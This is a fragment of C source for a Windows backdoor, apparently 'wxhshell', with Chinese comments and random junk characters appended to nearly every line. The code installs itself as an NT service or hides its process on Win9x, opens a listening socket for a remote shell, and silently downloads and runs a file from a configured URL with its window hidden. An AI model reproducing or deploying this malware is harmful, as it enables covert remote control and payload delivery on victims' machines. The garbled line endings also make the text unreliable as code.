ULONG InheritedFromUniqueProcessId; >[g'i+{
} PROCESS_BASIC_INFORMATION; 5{8,+
Z
DRi/<
PROCNTQSIP NtQueryInformationProcess; SCMZ-^b
HM\gOz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O,KlZf_B
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #.\X%!
kc:2ID&
HANDLE hProcess; (%;D&
~%o
PROCESS_BASIC_INFORMATION pbi; O<w7PS
Bk~M ^AK@~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /ec~^S8X
if(NULL == hInst ) return 0; /?QBMI
9L9mi<,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yy0m &3[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z7R+'OC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fBt7#Tc=U
=t-503e.J
if (!NtQueryInformationProcess) return 0; &rxR"^x\
}L*cP;m#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cqk6I gw
if(!hProcess) return 0; S>p>$m,
Q
$(%t^8{a~G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nyB~C7zR
.c.#V:XZ#U
CloseHandle(hProcess); uw@|Y{(K r
E^.
=^bR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $eBE pN
if(hProcess==NULL) return 0; K&noA
Q}jl1dIq
HMODULE hMod; KcjP39@I
char procName[255]; !xK`:[B
unsigned long cbNeeded; BK]q^.7+:
89)rss
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,Z I"+v
C,D~2G
CloseHandle(hProcess); Ie?C<(8Ul
4m6E~_:F
if(strstr(procName,"services")) return 1; // 以服务启动 W7"ks(
bXiT}5mJU
return 0; // 注册表启动 X;0DQnAI8j
} ?o9g5Z
RtR]9^:~
// 主模块 FiqcM-Af4
int StartWxhshell(LPSTR lpCmdLine) lU.@! rGbw
{ gI^*O@Q4{b
SOCKET wsl; u-7/4Y)c
BOOL val=TRUE; #SRGVa`x
int port=0; Ui7S8c#tH
struct sockaddr_in door; j{9sn,<:
LdAfY0
if(wscfg.ws_autoins) Install(); BS;_l"?
a ^b_&}y
port=atoi(lpCmdLine); l7P~_X_)"
igsJa1F
if(port<=0) port=wscfg.ws_port; m>'sM1s
iVt6rX
WSADATA data; T?c:z?j_9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pz1pEyuL
/nRi19a%xU
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,r{\aW@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t3b%f`D
door.sin_family = AF_INET; -[4Xg!apO
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g#1_`gK
door.sin_port = htons(port); X/TuiKe
C_Y^<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IXugnvyV
closesocket(wsl); )sVz;rF<
return 1; CC>]Gc7
} FMuM:%&J]
hof:+aW
if(listen(wsl,2) == INVALID_SOCKET) { Dm[4`p@IY\
closesocket(wsl); k9.2*+vvg
return 1; ~w'M8(
} }Z-]m
Wxhshell(wsl); -1~bWRYq
WSACleanup(); *.AokY)_a
eqQA st#~
return 0; [MYd15
2`Xy}9N/Y
} {SW}S_
w3c[t~R8
// 以NT服务方式启动 jx&pRjP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U&|=dH]-
{ ";cWK29\f
DWORD status = 0; ` a5$VV%J
DWORD specificError = 0xfffffff; =usx' #rb
=m=`| Bn
serviceStatus.dwServiceType = SERVICE_WIN32; utC]GiR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -#H>kbs
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IDb|J%e^P
serviceStatus.dwWin32ExitCode = 0; RZ9vQ\X
U)
serviceStatus.dwServiceSpecificExitCode = 0; `(<XdlOj
serviceStatus.dwCheckPoint = 0; Nrva?W_i
serviceStatus.dwWaitHint = 0; _K>cB<+d
[>Kkj;*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BCk$FM@
if (hServiceStatusHandle==0) return; l.?R7f
-@-cG\{
status = GetLastError(); R 28v5
if (status!=NO_ERROR) l=[<gPE
{ ?&ThMWl
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9`+c<j4/B
serviceStatus.dwCheckPoint = 0; 6$w)"Rq
serviceStatus.dwWaitHint = 0;
!9DqW&8
serviceStatus.dwWin32ExitCode = status; &Jv j@,>$d
serviceStatus.dwServiceSpecificExitCode = specificError; CeoK@y=o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5V4Ze;K
return; ` ZXX[&C
} 0~Ot
:bFmw dX
serviceStatus.dwCurrentState = SERVICE_RUNNING; yv^j~
serviceStatus.dwCheckPoint = 0; J5}-5sV^
serviceStatus.dwWaitHint = 0; R3<>]/1p|P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UMuqdLaT9
} ?N<* ATCL
:O)\v!Z
// 处理NT服务事件,比如:启动、停止 N\1!)b
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tk9u+;=6$
{ y!;rY1
switch(fdwControl) L"A,7@:Vd
{ YA O,
rh
case SERVICE_CONTROL_STOP: 2@@OjeANsX
serviceStatus.dwWin32ExitCode = 0; 2ixg
ix
serviceStatus.dwCurrentState = SERVICE_STOPPED; nVko]y
serviceStatus.dwCheckPoint = 0; T~7i:<E^
serviceStatus.dwWaitHint = 0; =0TnH<`
{ ByoSwQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1w/1k6`0
} fGHYs
return; @*e|{;X]hy
case SERVICE_CONTROL_PAUSE: -gefdx6ES
serviceStatus.dwCurrentState = SERVICE_PAUSED; u;p{&\(]
break; Z;=G5O
uvQ
case SERVICE_CONTROL_CONTINUE: YwyP+Sr\
serviceStatus.dwCurrentState = SERVICE_RUNNING; W'u6F-$2
break; B>*zQb2:
case SERVICE_CONTROL_INTERROGATE: sx IvL7jl
break; xQ9P'ru
}; Q{T6t;eH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '8K5=|!J
} [X]yj
3
HOJCgit
// 标准应用程序主函数 q,3_)ZOq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2jV.\C k
{ htX;"R&
rXc-V},az8
// 获取操作系统版本 F]DRT6)
OsIsNt=GetOsVer(); !|;^
GetModuleFileName(NULL,ExeFile,MAX_PATH); QPB@qx#@
pQAG%i^mF
// 从命令行安装 sS(t
}$
if(strpbrk(lpCmdLine,"iI")) Install(); Jn3cU
(? j $n?p
// 下载执行文件 6x|"1
G{
if(wscfg.ws_downexe) { 5S`_q&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `!WtKqr%B
WinExec(wscfg.ws_filenam,SW_HIDE); dCv@l7hE
} 3fPd|F.kF
2u9O+]EP
if(!OsIsNt) { n " ?It
// 如果时win9x,隐藏进程并且设置为注册表启动 n+1!/H=d
HideProc(); vFKX@wV S
StartWxhshell(lpCmdLine); 81Ixs
Qt
} yN}upYxp
else `2N&{(
if(StartFromService()) +TzZ
// 以服务方式启动 WeyH;P=
StartServiceCtrlDispatcher(DispatchTable); &c!d}pU}
else C><]o
// 普通方式启动 XJJdCv^
StartWxhshell(lpCmdLine); x?s5vxAKf
W,<L/ZKJ
return 0; XRoMD6qf;
}